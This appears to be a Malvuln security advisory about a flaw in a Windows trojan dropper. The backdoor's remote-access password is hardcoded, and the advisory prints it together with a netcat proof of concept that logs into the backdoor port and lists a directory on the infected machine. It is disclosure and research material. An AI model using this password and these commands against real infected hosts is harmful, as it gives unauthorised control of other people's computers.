Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/f28e866ce2f99013a66b015f6a7f31a8.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Trojan-Dropper.Win32.Juntador.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP ports 7826 and 13013 and drops executables under the Windows dir. Authentication is required for remote user access. However, the password "sexjerx sexjerx" is weak and hardcoded in plaintext within the executable.
Type: PE32
MD5: f28e866ce2f99013a66b015f6a7f31a8
Vuln ID: MVID-2021-0259
Dropped files: winvxd.exe, IntelMouse.exe
Disclosure: 06/23/2021
Exploit/PoC:
nc64.exe x.x.x.x 13013
pwd sexjerx sexjerx
psychward revised 0.1, awaiting your command
dir
<.>
<..>
<0409>
12520437.cpx (2151)
12520850.cpx (2233)
@AudioToastIcon.png (308)
@EnrollmentToastIcon.png (330)
@VpnToastIcon.png (404)
@WirelessDisplayToast.png (691)
aadauthhelper.dll (154624)
aadtb.dll (954880)
AboveLockAppHost.dll (252928)
accessibilitycpl.dll (3804160)
accountaccessor.dll (215552)
AccountsRt.dll (363520)
AcGenral.dll (2393600)
AcLayers.dll (372224)
acledit.dll (9216)
aclui.dll (5388800)
acppage.dll (68096)
AcSpecfc.dll (471552)
ActionCenter.dll (261632)
ActionCenterCPL.dll (541184)
ActivationClient.dll (30720)
ActivationManager.dll (444928)
activeds.dll (222720)
activeds.tlb (112128)
ActiveSyncProvider.dll (1546752)
actxprxy.dll (261632)
AcWinRT.dll (33792)
acwow64.dll (38400)
AcXtrnal.dll (87552)
AdaptiveCards.dll (38400)
etc...
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